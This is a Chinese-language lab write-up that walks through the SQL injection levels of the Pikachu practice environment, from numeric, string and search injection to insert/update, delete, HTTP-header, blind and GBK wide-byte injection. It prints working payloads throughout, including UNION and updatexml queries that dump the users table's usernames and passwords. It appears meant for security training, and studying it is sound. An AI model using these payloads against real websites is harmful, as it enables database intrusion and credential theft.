1.数字型注入(post)
1. 注入点检测
方法:使用布尔逻辑测试
id=1 and 1=1→ 正常显示id=1 and 1=2→ 无内容/报错
判断依据:相同id下,真/假条件导致页面回显差异
这里使用Burpsuite抓包进行查看,传入id=1返回页面如下:

将其发送到重放器中:

查询是否存在注入点:(1)id=1 and 1=1&submit=%E6%9F%A5%E8%AF%A2页面正常回显;(2)id=1 and 1=2&submit=%E6%9F%A5%E8%AF%A页面回显错误,说明存在注入点


2.确定列数
使用 ORDER BY n 语句,通过递增数字 n 的值进行测试。根据页面回显判断:当 ORDER BY n 导致页面出现错误(或内容异常)时,说明当前 n 值超过了实际列数,此时最大列数为 n-1。
查询第一列:id=1 order by 1&submit=%E6%9F%A5%E8%AF%查看第一列回显正确,继续往下一直查找页面报错

当id=1 order by 3&submit=%E6%9F%A5%E8%AF%A2页面报错,说明最多有两行

3.查看回显位置
使用 UNION SELECT 语句,构造与主查询相同列数的 SELECT 语句。如果已确定列数为 2,则语句为 UNION SELECT 1,2。页面中显示数字 "1" 或 "2" 的位置,即为可用的回显点。

4.爆数据库名
查询语句 ?id=-1 union select user(),database()(将id=1改成id=-1是为了让原查询没有结果,这样页面就只显示我们UNION注入的内容,不会被原数据干扰。
三点核心原因:
清屏效果:-1让第一个查询返回空,页面只显示注入结果
避免混淆:防止原数据(如vince的信息)和注入数据混在一起
完整显示:确保长数据(如表名列表)不会被截断或挤掉)

5.爆表名
查询语句为:?id=-1 union select
(select group_concat(table_name)
from information_schema.tables
where table_schema=database()),
'查看表名'
id=-1 union select database(),table_name from information_schema.tables where table_schema=database()&submit=%E6%9F%A5%E8%AF%A2

查字段,查询语句:id=-1 union select database(),column_name from information_schema.columns where table_name='表名' and table_schema=database()
例子的执行语句:id=-1 union select database(),column_name from information_schema.columns where table_name='users'&submit=%E6%9F%A5%E8%AF%
6.爆数据信息
查询语句:
例子执行语句:id=-1 union select database(),group_concat(username,"/",password) from users&submit=%E6%9F%A5%E8%AF%A2

查看源码获取用户名以及密码:
2.字符型注入(get)
1. 注入点检测
构造name=admin&submit=%E6%9F%A5%E8%AF%A回显正常继续进行构造

构造为name=admin‘&submit=%E6%9F%A5%E8%AF%A报错说明存在注入点
2.确定列数
(上面强调过具体怎么构造,这里就不进行详细阐述)
?name=admin%27+order+by+1+--+&submit=%E6%9F%A5%E8%AF%A(即order by 1)

?name=admin%27+order+by+3+--+&submit=%E6%9F%A5%E8%AF%A报错,说明只有两行

3.查看回显信息
?name=admin%27+union+select+1,2+--+&submit=%E6%9F%A5%E8%AF%A

4.爆数据库名
?name=admin%27+and+1=2+union+select+user(),database()+--++&submit=%E6%9F%A5%E8%AF%A

5.爆表名
?name=admin%27+and+1=2+union+select+database(),table_name+from+information_schema.tables+where+table_schema=database()+--+&submit=%E6%9F%A5%E8%AF%

6.爆数据信息

3.搜索型注入
1.注入点检测
构造为:?name=admin正常

构造为:?name=admin%27报错说明存在注入点,显示有一个%,所以使用%’进行闭合

?name=admin%25’回显正确


2.确定列数
构造:?name=admin%25%27+order+by+1%23
直到4的时候报错,说明最多有3列
剩下步骤和上面的任意一个题目都是一样的思路了
4.xx型注入
1.注入点检测
构造:?name=admin回显正确

构造这个?name=admin%27报错回显错误说明存在注入点,提示"admin")'

?name=admin%27%29+错误

构造为:?name=admin%27%29+%23回显正确继续往下

2.确定列数
?name=admin%27%29+order+by+1+%23回显正确,继续

?name=amin%27%29+order+by+3%23
查询为3列,其余操作可参考第一题第二题

5.insert/updata注入
1.注入点检测
插入型和之前的差别挺大的,之前的都可以用联合语句注入,这个不行,这个使用报错注
进行登录注册,同时进行抓包,抓包后发送带重放器


2.确定列数
首先进行useename进行测试:username=111'&password=111&sex=111&phonenum=111&email=111&add=111&submit=submit报错信息的意思是说,输入111’后导致闭合出现错误,原本的应该为('[用户名]','[密码]','[性别]','[电话]','[邮箱]','[地址]')

现在根据提示构造username=111'),'a','b','c','d','e')-- &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit,还是不正确,现在一个一个进行删除
username=111'),'a','b','c','d')-- &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit报错,继续

3.查看回显位置
最后得到,这个时候可以说明找到注入点了,及闭合成功了
现在进行构造username=111','2','3','4','5','6')-- &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit回显正常

4.爆数据库名
构造:username=111' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '%23 &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit

5.爆表名
username=111' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='pikachu'),1,0x7e),1) and '%23 &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit

username=111' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='pikachu'),1,0x7e),1) and '%23 &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit

6.爆数据信息
username=111' and updatexml(1,concat(0x7e,(select group_concat(username,';',password) from users),1,0x7e),1) and '%23 &password=111&sex=111&phonenum=111&email=111&add=111&submit=submit

6.delete注入
1.注入点检测
先在留言板进行留言,然后打开bp抓包,点击删除,在将抓包到的内容发送到重放器。


构造:?id=57'报错说明存在注入点,但是尝试查询后没有回显,所以开始尝试报错注入注入错数据库名和用户名称

构造:?id=57+or+updatexml+(1,concat(0x7e,database()),0)

剩下的步骤就和第5题的是一样的
7.http头注入

根据标题可以看到是根据http头部进行注入,先尝试使用admin正常登录看看,跳出了一个信息被记录的提示,并且登录进去之后有回显http request报文头

1.注入点检测:
进行抓包查看一下:尝试在User-Agent中进行注入,User-Agent: '
报错内容中出现了 'text/html,application/xhtml+xml... 这部分——这实际上是 HTTP 请求头中 Accept 字段的内容!
这说明了SQL 注入点可能不在 id 参数,而是在 HTTP 请求头中的某个字段(比如 User-Agent、Accept、Referer 等)。

测试 Header 注入:User-Agent: ' and updatexml(1,concat(0x7e,version(),0x7e),1) and '1'='1

2.查数据库名
User-Agent:' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1

获取当前用户名 ' and updatexml(1,concat(0x7e,user(),0x7e),1) and '1'='1

8.基于boolian的盲注
先找闭合,老样子先直接给个单引号和双引号进行探测,最后返回的都是用户名不存在,但是在后面加个 # 号就能返回正常结果,所以基本确认闭合是单引号闭合,首先既然不能回显,那我们肯定是不知道数据库名字和长度的,所以我们先判断数据库名字长度

使用python脚本可以得到:

9.基于时间的盲注

10.wide byte注入
这关的核心是 GBK 宽字节注入:服务器用 mysql_real_escape_string() 把单引号 ' 转义成 \\',但前端表单以 GBK 编码 提交;只要在 name 参数里先放 %df(0xDF 这个高位字节),后面再跟 ',MySQL 会把 %df 和转义反斜杠 (0x5C)合并成汉字 運(0xDF5C),导致原本的转义失效,单引号成功逃逸。随后用标准盲注语法 and ascii(substr(...)) 逐位爆破即可。
总结公式:POST 数据 name=%df'[条件]--+&submit=查询,页面不再提示“不存在”即为条件成立。
进行抓包:

执行:name=111%df' or 1=1#&submit=%E6%9F%A5%E8%AF%A2就可以了
